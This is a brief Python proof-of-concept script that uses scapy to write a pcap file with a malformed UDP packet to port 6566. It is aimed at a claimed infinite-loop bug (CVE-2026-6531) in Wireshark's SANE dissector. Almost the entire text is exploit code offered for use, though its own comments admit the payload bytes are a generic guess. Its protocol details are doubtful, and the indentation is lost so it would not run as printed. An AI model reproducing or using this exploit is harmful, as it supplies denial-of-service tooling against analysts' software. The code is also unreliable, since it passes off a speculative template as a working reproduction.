The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
# PoC for CVE-2026-6531 (Wireshark SANE Dissector Infinite Loop)
# This script generates a malformed packet that may trigger the infinite loop.
# Requires scapy: pip install scapy
from scapy.all import *
def generate_malformed_pcap(filename):
# Construct a raw packet intended for the SANE protocol (port 6566)
# Note: Specific payload bytes to trigger the loop depend on the bug details.
# This is a generic template for a SANE packet structure.
# SANE Net Protocol typically starts with a version word and opcode.
# We inject a crafted payload here.
malformed_payload = b"\x00\x00\x00\x01" # Example version
malformed_payload += b"\xFF\xFF\xFF\xFF" # Invalid opcode/length causing loop
# Create a packet using IP and UDP (SANE can run over TCP/UDP)
pkt = IP(dst="127.0.0.1")/UDP(dport=6566, sport=12345)/Raw(load=malformed_payload)
# Save to pcap file
wrpcap(filename, pkt)
print(f"[+] Malformed pcap file saved as: {filename}")
print(f"[+] Open this file in a vulnerable version of Wireshark to reproduce the issue.")
if __name__ == "__main__":
generate_malformed_pcap("cve_2026_6531_poc.pcap")